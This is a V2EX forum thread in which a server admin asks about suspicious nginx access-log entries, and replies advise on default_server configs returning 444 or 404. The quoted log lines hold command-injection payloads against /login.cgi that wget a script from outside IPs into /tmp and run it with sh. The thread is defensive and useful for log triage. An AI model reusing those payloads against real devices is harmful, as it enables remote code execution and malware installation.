V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
NGINX
NGINX Trac
3rd Party Modules
Security Advisories
CHANGES
OpenResty
ngx_lua
Tengine
在线学习资源
NGINX 开发从入门到精通
NGINX Modules
ngx_echo
bephbin
V2EX  ›  NGINX

nginx 安全问题

  •  1
     
  •   bephbin · Aug 22, 2018 · 6450 views
    This topic created in 2806 days ago, the information mentioned may be changed or developed.

    翻看 access.log 时发现有 2 条记录疑似 web 攻击

    日志的格式是这样的: '$remote_addr | $remote_user | $host | $http_host [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'

    41.42.156.85 | - | _ | - [21/Aug/2018:17:06:15 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.32.32.156/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0" "-"

    208.102.74.74 | - | _ | - [21/Aug/2018:20:16:31 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1" 400 173 "-" "Gemini/2.0" "-"

    我从日志也看不出是通过哪个 host 访问的

    请问这个 400 状态会有安全问题吗?

    能否把这种请求返回 444 状态码?

    14 replies    2018-08-24 10:28:38 +08:00
    billlee
        1
    billlee  
       Aug 22, 2018
    扫描而已,不用太紧张
    voocel
        2
    voocel  
       Aug 22, 2018 via Android
    不要慌,问题不大
    iCodex
        3
    iCodex  
       Aug 22, 2018
    实在是不爽的话?把这些流量全部 302 跳转到你想他们看到的地方去,比如你也搞个蜜罐,或者放一些恐怖恶心的东西?反正人家不是通过你的域名进来的,考虑那么多干嘛呢~
    Livid
        4
    Livid  
    MOD
    PRO
       Aug 22, 2018
    如果看不出是从哪个 host 访问的,那么很可能就是直接从 IP 访问的。

    这种扫描本身问题不大,但是让你的服务暴露在 IP (或者任意域名)下面,是一个更大的问题。
    lslqtz
        5
    lslqtz  
       Aug 22, 2018
    对 IP 的访问,我认为返回 403 是一种合适的选择,除非是你想要看到的特定条件( UA/Host/IP )。
    luozic
        6
    luozic  
       Aug 22, 2018 via iPhone
    非合法链接直接跳个统一 404
    totland
        7
    totland  
       Aug 22, 2018
    ip 访问 return444 就行了
    sujin190
        8
    sujin190  
       Aug 22, 2018
    如果是用云的话,似乎无论是阿里云、腾讯云还是 ucloud,他们都有常规的 web 漏洞扫描,不过也影响不大
    huangzxx
        9
    huangzxx  
       Aug 22, 2018
    ip 访问,返回 444

    ```
    server {
    listen 80 default_server;
    server_name _;
    return 301 https://$host$request_uri;
    }

    server {
    listen 443 default_server ssl http2;
    server_name _;

    include ssl/ssl.conf;

    location / {
    return 444;
    }

    access_log off;
    }

    ```
    bephbin
        10
    bephbin  
    OP
       Aug 22, 2018
    @iCodex
    @Livid
    @luozic
    @sujin190
    @huangzxx


    谢谢各位的回答

    自己用 telnet ip 80 的方式重现了日志里的 400 错误。问题是 nginx 对于这种方式的请求是怎么处理的,能返回 444 吗?
    luozic
        11
    luozic  
       Aug 22, 2018
    返回 444 干吊,直接扔 404 默认不行么?
    Livid
        12
    Livid  
    MOD
    PRO
       Aug 23, 2018
    有的时候你会遇到一种尴尬的恶意情况,就是有人把不属于你的域名指到你的 IP。如果这个 IP 还是一个国内的 IP,那么有可能当地的通管局就会通过 ISP 找你麻烦说未备案域名指向,这种情况下,符合通管局要求的处理方式就是返回 404。
    ztlong
        13
    ztlong  
       Aug 24, 2018
    不看不知道,看到这条帖子把所有非注册的主机名访问日志全打了出来,发现这个 IP 一直发 CONNECT,查了好像是代理请求,我的机器是被当跳板了么,返回不成功还一直试,难道是越挫越勇?
    [24/Aug/2018:07:57:06 +0800] 50.118.255.23 - "http://proxyjudge.us" - "GET http://proxyjudge.us/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
    [24/Aug/2018:07:57:07 +0800] 50.118.255.23 - "http://-" - "CONNECT www.alipay.com:443 HTTP/1.1" 400 173 "-" "-" "-"
    [24/Aug/2018:09:01:08 +0800] 50.118.255.23 - "http://fr.cyberpods.net" - "GET http://fr.cyberpods.net/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
    ztlong
        14
    ztlong  
       Aug 24, 2018
    这个是日志格式:'[$time_local] $remote_addr - "$scheme://$http_host" $remote_user "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   3360 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 48ms · UTC 00:34 · PVG 08:34 · LAX 17:34 · JFK 20:34
    ♥ Do have faith in what you're doing.